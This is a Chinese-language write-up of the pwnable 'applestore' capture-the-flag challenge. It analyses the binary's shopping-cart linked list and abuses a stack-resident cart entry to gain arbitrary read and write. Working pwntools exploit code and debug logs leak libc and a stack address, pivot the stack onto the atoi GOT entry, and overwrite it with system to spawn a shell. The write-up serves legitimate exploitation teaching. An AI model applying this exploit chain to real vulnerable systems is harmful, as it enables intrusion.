1 程序分析 32 位程序,没开 PIE,部分写保护,libc 版本为 2.23
1 2 3 4 5 6 7 8 9 10 (pwn) secreu@Vanilla:~/code/pwnable/applestore$ checksec --file=applestore [*] '/home/secreu/code/pwnable/applestore/applestore' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No (pwn) secreu@Vanilla:~/code/pwnable/applestore$ strings libc_32.so.6 | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
菜单题,模拟了一个购物情景
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main (int argc, const char **argv, const char **envp) { signal(14 , timeout); alarm(0x3Cu ); memset (&myCart, 0 , 0x10u ); menu(); return handler(); } int menu () { puts ("=== Menu ===" ); printf ("%d: Apple Store\n" , 1 ); printf ("%d: Add into your shopping cart\n" , 2 ); printf ("%d: Remove from your shopping cart\n" , 3 ); printf ("%d: List your shopping cart\n" , 4 ); printf ("%d: Checkout\n" , 5 ); return printf ("%d: Exit\n" , 6 ); } unsigned int handler () { char nptr[22 ]; unsigned int v2; v2 = __readgsdword(0x14u ); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(nptr, 0x15u ); switch ( atoi(nptr) ) { case 1 : list (); break ; case 2 : add(); break ; case 3 : delete(); break ; case 4 : cart(); break ; case 5 : checkout(); break ; case 6 : puts ("Thank You for Your Purchase!" ); return __readgsdword(0x14u ) ^ v2; default : puts ("It's not a choice! Idiot." ); break ; } } }
case 1 : list 列出商品列表
1 2 3 4 5 6 7 8 9 int list () { puts ("=== Device List ===" ); printf ("%d: iPhone 6 - $%d\n" , 1 , 199 ); printf ("%d: iPhone 6 Plus - $%d\n" , 2 , 299 ); printf ("%d: iPad Air 2 - $%d\n" , 3 , 499 ); printf ("%d: iPad Mini 3 - $%d\n" , 4 , 399 ); return printf ("%d: iPod Touch - $%d\n" , 5 , 199 ); }
case 2 : add 添加商品到购物车,这首先是用 create 创建了对应的商品结构体,然后调用 insert 将其插入到购物车中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 unsigned int add () { char **v1; char nptr[22 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Device Number> " ); fflush(stdout ); my_read(nptr, 0x15u ); switch ( atoi(nptr) ) { case 1 : v1 = create("iPhone 6" , (char *)0xC7 ); insert((int )v1); goto LABEL_8; case 2 : v1 = create("iPhone 6 Plus" , (char *)0x12B ); insert((int )v1); goto LABEL_8; case 3 : v1 = create("iPad Air 2" , (char *)0x1F3 ); insert((int )v1); goto LABEL_8; case 4 : v1 = create("iPad Mini 3" , (char *)0x18F ); insert((int )v1); goto LABEL_8; case 5 : v1 = create("iPod Touch" , (char *)0xC7 ); insert((int )v1); LABEL_8: printf ("You've put *%s* in your shopping cart.\n" , *v1); puts ("Brilliant! That's an amazing idea." ); break ; default : puts ("Stop doing that. Idiot!" ); break ; } return __readgsdword(0x14u ) ^ v3; }
create 申请大小为 16 字节的 chunk 作为单个商品结构体,将里面按 dword 分成了 4 部分,前 2 部分分别为商品名字的地址和商品价格,后 2 部分为 0,作用暂不明朗
1 2 3 4 5 6 7 8 9 10 11 char **__cdecl create (const char *a1, char *a2) { char **v3; v3 = (char **)malloc (0x10u ); v3[1 ] = a2; asprintf(v3, "%s" , a1); v3[2 ] = 0 ; v3[3 ] = 0 ; return v3; }
insert 函数将商品结构体地址按尾插法插入购物车双向链表中,链表首地址 &myCart = 0x804B068 在 .bss 节上
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl insert (int a1) { int result; _DWORD *i; for ( i = &myCart; i[2 ]; i = (_DWORD *)i[2 ] ) ; i[2 ] = a1; result = a1; *(_DWORD *)(a1 + 12 ) = i; return result; }
例如我们添加一台 iPhone 6 和一台 iPhone 6 Plus,就会形成下图所示的购物车结构
case 3 : delete 删除购物车中指定序号的商品
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete () { int v1; int v2; int v3; int v4; int v5; char nptr[22 ]; unsigned int v7; v7 = __readgsdword(0x14u ); v1 = 1 ; v2 = dword_804B070; printf ("Item Number> " ); fflush(stdout ); my_read(nptr, 0x15u ); v3 = atoi(nptr); while ( v2 ) { if ( v1 == v3 ) { v4 = *(_DWORD *)(v2 + 8 ); v5 = *(_DWORD *)(v2 + 12 ); if ( v5 ) *(_DWORD *)(v5 + 8 ) = v4; if ( v4 ) *(_DWORD *)(v4 + 12 ) = v5; printf ("Remove %d:%s from your shopping cart.\n" , v1, *(const char **)v2); return __readgsdword(0x14u ) ^ v7; } ++v1; v2 = *(_DWORD *)(v2 + 8 ); } return __readgsdword(0x14u ) ^ v7; }
例如我们输入 1,就是删除购物车中第 1 件商品,以上图为例就是 iPhone 6,索引到对应的商品结构体后,修改 fd 和 bk 指针,即 bk + 8 <- fd ; fd + 12 <- bk。删除 1 号商品后的购物车结构如下
case 4 : cart 将购物车中的商品名称和单价依次输出,计算并返回了购物车总价
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart () { int v0; int v2; int v3; int i; _BYTE buf[22 ]; unsigned int v6; v6 = __readgsdword(0x14u ); v2 = 1 ; v3 = 0 ; printf ("Let me check your cart. ok? (y/n) > " ); fflush(stdout ); my_read(buf, 0x15u ); if ( buf[0 ] == 121 ) { puts ("==== Cart ====" ); for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8 ) ) { v0 = v2++; printf ("%d: %s - $%d\n" , v0, *(const char **)i, *(_DWORD *)(i + 4 )); v3 += *(_DWORD *)(i + 4 ); } } return v3; }
case 5 : checkout 调用了一次 cart 得到了购物车总价,若为 7174,就往购物车中添加了一台单价为 1 的 iPhone 8,这里要格外注意,这台 iPone 8 的商品结构体不是在 heap 上,而是在栈上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned int checkout () { int v1; char *v2[5 ]; unsigned int v3; v3 = __readgsdword(0x14u ); v1 = cart(); if ( v1 == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf(v2, "%s" , "iPhone 8" ); v2[1 ] = (char *)1 ; insert((int )v2); v1 = 7175 ; } printf ("Total: $%d\n" , v1); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14u ) ^ v3; }
2 漏洞点 很显然,checkout 白给了一个栈上的 iPhone 8 结构体,有点突兀了,明摆着要我们利用它。在 checkout 函数结束后,依然可以在其他函数访问到上面的数据。
首先我们要凑出 7174 的购物车总金额,已知有 199、299、399、499 这几个单价的商品,实际上就是要找 199a + 299b + 399c + 499d = 7174 的非负整数解。写个脚本爆破即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 """Brute-force search for non-negative integer solutions of: 7174 = 199*a + 299*b + 399*c + 499*d """ def find_solutions (target=7174 , coefs=(199 , 299 , 399 , 499 ) ): solutions = [] max_vals = [target // coef for coef in coefs] for a in range (max_vals[0 ] + 1 ): for b in range (max_vals[1 ] + 1 ): for c in range (max_vals[2 ] + 1 ): rem = target - (a*coefs[0 ] + b*coefs[1 ] + c*coefs[2 ]) if rem < 0 : break if rem % coefs[3 ] == 0 : d = rem // coefs[3 ] if d >= 0 : solutions.append((a, b, c, d)) return solutions def main (): sols = find_solutions() print (f"Found {len (sols)} solutions for 7174 = 199*a + 299*b + 399*c + 499*d" ) for s in sols: print (s) if __name__ == '__main__' : main() ''' (pwn) secreu@Vanilla:~/code/pwnable/applestore$ python find_solutions.py Found 44 solutions for 7174 = 199*a + 299*b + 399*c + 499*d (6, 20, 0, 0) (7, 18, 1, 0) ... '''
最后得到只要 6 台 iPhone 6 和 20 台 iPhone 6 Plus 即可
2.1 任意地址读 add 6 台 iPhone 6 和 20 台 iPhone 6 Plus 凑齐 7174,再调用 checkout 即可将 iPhone 8 添加到购物车。然后为了方便管理我们先把之前的 26 台存在 Heap 上的结构体删除了
1 2 3 4 5 6 7 8 for _ in range (6 ): add(b'1' ) for _ in range (20 ): add(b'2' ) checkout() for _ in range (26 ): delete(b'1' )
这样购物车就只有 1 台 iPhone 8,从 checkout 函数来看其位置在 ebp - 0x20,而其他函数如 cart、delete 恰好可以对 ebp - 0x20 进行修改!这几个函数都是从 handler 调用的,所以它们有相同的 ebp,以 cart 为例,其 ebp - 0x22 处是 buf,并且允许输入 0x15 字节,完全可以覆盖整个 iPhone 8 结构体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart () { int v0; int v2; int v3; int i; _BYTE buf[22 ]; unsigned int v6; v6 = __readgsdword(0x14u ); v2 = 1 ; v3 = 0 ; printf ("Let me check your cart. ok? (y/n) > " ); fflush(stdout ); my_read(buf, 0x15u ); if ( buf[0 ] == 121 ) { puts ("==== Cart ====" ); for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8 ) ) { v0 = v2++; printf ("%d: %s - $%d\n" , v0, *(const char **)i, *(_DWORD *)(i + 4 )); v3 += *(_DWORD *)(i + 4 ); } } return v3; }
iPhone 8 结构体的前 4 字节是字符串 “iPhone 8” 的地址,在 cart 接收到 “y” 时会 printf 输出该名称和价格,我们可以利用这一点,将 iPhone 8 结构体的前 4 字节覆盖成其他地址,实现任意地址读。具体的发送的内容应为 payload = b'y\x00' + p32(addr)
2.2 任意地址写 与 cart 函数一样,delete 函数也能对 ebp-22h 进行修改。既然能够对 iPhone 8 结构体进行完全控制,就可以利用其 fd 和 bk 指针,先将这两个指针填写为我们想要的地址,删除时就会执行 bk + 8 <- fd ; fd + 12 <- bk 实现任意地址写。具体的发送的内容应为 payload = b'1\x00' + p32(0x804B070) + p32(1) + p32(fd) + p32(bk)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete () { int v1; int v2; int v3; int v4; int v5; char nptr[22 ]; unsigned int v7; v7 = __readgsdword(0x14u ); v1 = 1 ; v2 = dword_804B070; printf ("Item Number> " ); fflush(stdout ); my_read(nptr, 0x15u ); v3 = atoi(nptr); while ( v2 ) { if ( v1 == v3 ) { v4 = *(_DWORD *)(v2 + 8 ); v5 = *(_DWORD *)(v2 + 12 ); if ( v5 ) *(_DWORD *)(v5 + 8 ) = v4; if ( v4 ) *(_DWORD *)(v4 + 12 ) = v5; printf ("Remove %d:%s from your shopping cart.\n" , v1, *(const char **)v2); return __readgsdword(0x14u ) ^ v7; } ++v1; v2 = *(_DWORD *)(v2 + 8 ); } return __readgsdword(0x14u ) ^ v7; }
3 漏洞利用 3.1 泄露 Libc 利用任意地址读泄露 GOT 表上存放的 puts 地址,由此得到 libc 基址
注意要多覆盖几个字节,将 fd 指针覆盖为 0,确保 cart 函数找不到下一个商品,否则容易造成非法地址访问,出现段错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 leak_puts = b'y\x00' + p32(elf.got['puts' ]) + p32(1 ) + p32(0 ) cart(leak_puts) io.recvuntil(b'==== Cart ====\n1: ' ) puts_addr = u32(io.recv(4 )) log.info(f'puts addr: {hex (puts_addr)} ' ) libc_base = puts_addr - libc.symbols['puts' ] ''' [DEBUG] Received 0x24 bytes: b'Let me check your cart. ok? (y/n) > ' [DEBUG] Sent 0xe bytes: 00000000 79 00 28 b0 04 08 01 00 00 00 00 00 00 00 │y·(·│····│····│··│ 0000000e [DEBUG] Received 0x33 bytes: 00000000 3d 3d 3d 3d 20 43 61 72 74 20 3d 3d 3d 3d 0a 31 │====│ Car│t ==│==·1│ 00000010 3a 20 40 21 e7 f7 16 85 04 08 26 85 04 08 40 b5 │: @!│····│··&·│··@·│ 00000020 e2 f7 10 60 f3 f7 a0 c0 e5 f7 50 20 2d 20 24 31 │···`│····│··P │- $1│ 00000030 0a 3e 20 │·> │ 00000033 [*] puts addr: 0xf7e72140 '''
3.2 泄露栈地址 一种方法是利用 libc 上的 environ,该地址存放了栈上的环境变量地址,也就是说可以通过泄露这个得到栈地址
另一种方法是直接泄露 iPhone 8 的地址,之前说过其位于 cart 等函数的 ebp - 0x20,当购物车中只有一个 iPhone 8 时,.bss 节上 0x804B070 处就会存放这个地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 leak_iphone8 = b'y\x00' + p32(0x804B070 ) + p32(1 ) + p32(0 ) cart(leak_iphone8) io.recvuntil(b'==== Cart ====\n' ) iphone8_addr = u32(io.recv(7 )[3 :7 ]) log.info(f'iphone8 addr: {hex (iphone8_addr)} ' ) ''' [DEBUG] Received 0x24 bytes: b'Let me check your cart. ok? (y/n) > ' [DEBUG] Sent 0xe bytes: 00000000 79 00 70 b0 04 08 01 00 00 00 00 00 00 00 │y·p·│····│····│··│ 0000000e [DEBUG] Received 0x1e bytes: 00000000 3d 3d 3d 3d 20 43 61 72 74 20 3d 3d 3d 3d 0a 31 │====│ Car│t ==│==·1│ 00000010 3a 20 58 3e 98 ff 20 2d 20 24 31 0a 3e 20 │: X>│·· -│ $1·│> │ 0000001e [*] iphone8 addr: 0xff983e58 '''
3.3 栈迁移修改 GOT 表 利用任意地址写,最简单粗暴的想法是直接将 GOT 表上某个函数地址修改为 system 地址,或者修改返回地址。但是改返回地址需要多次 delete,过于繁琐,并且我们不能直接将 system 地址写到 fd 或者 bk,因为这样会破坏 system_addr + 8 / 12 处的指令,导致出错。
既然如此就只能利用现有的写入功能,handler 函数会对 ebp - 0x22 处进行 0x15 字节的写入,然后调用 atoi 将输入转换成整型,那我们正好可以利用这一点,将栈迁移到 GOT 表上 atoi 函数加 0x22 的位置,即 elf.got['atoi'] + 0x22,再输入 system 地址实现 GOT 表修改,接着 handler 执行 atoi(nptr) 实际上就是执行 system(ebp - 0x22),所以我们不能仅仅输入 system 地址,还要接上 ;/bin/sh\x00
atoi 函数在 .got.plt 节的末尾,紧跟着是 .data 节,不用担心 ;/bin/sh\x00 会造成什么大影响
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned int handler () { char nptr[22 ]; unsigned int v2; v2 = __readgsdword(0x14u ); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(nptr, 0x15u ); switch ( atoi(nptr) ) ...
具体来说如何栈迁移,利用 delete 任意地址写,分别覆盖 iPhone 8 的 fd 和 bk 指针为 iphone8_addr + 0x20 - 12 和 elf.got['atoi'] + 0x22 。
因为 iphone8_addr + 0x20 是 delete 函数的 ebp,该地址存放了 handler 函数的 ebp,将其覆盖为 elf.got['atoi'] + 0x22,在 delete 函数返回时,就能实现栈迁移
最后在 handler 函数中输入 p32(system_addr) + b';/bin/sh\x00',即可完成对 GOT 表中 atoi 的覆盖并执行 system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 fake_ebp = elf.got['atoi' ] + 0x22 delete_ebp = iphone8_addr + 0x20 stack_pivot = b'1\x00' + p32(0x804B070 ) + p32(1 ) + p32(delete_ebp - 12 ) + p32(fake_ebp) delete(stack_pivot) system_addr = libc_base + libc.symbols['system' ] io.sendafter(b'> ' , p32(system_addr) + b';/bin/sh\x00' ) io.interactive() ''' [DEBUG] Sent 0x12 bytes: 00000000 31 00 70 b0 04 08 01 00 00 00 6c 3e 98 ff 62 b0 │1·p·│····│··l>│··b·│ 00000010 04 08 │··│ 00000012 [DEBUG] Received 0x29 bytes: 00000000 52 65 6d 6f 76 65 20 31 3a 58 3e 98 ff 20 66 72 │Remo│ve 1│:X>·│· fr│ 00000010 6f 6d 20 79 6f 75 72 20 73 68 6f 70 70 69 6e 67 │om y│our │shop│ping│ 00000020 20 63 61 72 74 2e 0a 3e 20 │ car│t.·>│ │ 00000029 [DEBUG] Sent 0xd bytes: 00000000 40 d9 e4 f7 3b 2f 62 69 6e 2f 73 68 00 │@···│;/bi│n/sh│·│ 0000000d [*] Switching to interactive mode [DEBUG] Received 0x17 bytes: 00000000 73 68 3a 20 31 3a 20 40 d9 e4 f7 3a 20 6e 6f 74 │sh: │1: @│···:│ not│ 00000010 20 66 6f 75 6e 64 0a │ fou│nd·│ 00000017 sh: 1: @\xd9\xe4\xf7: not found $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x34 bytes: b'applestore exp.py find_solutions.py libc_32.so.6\n' applestore exp.py find_solutions.py libc_32.so.6 '''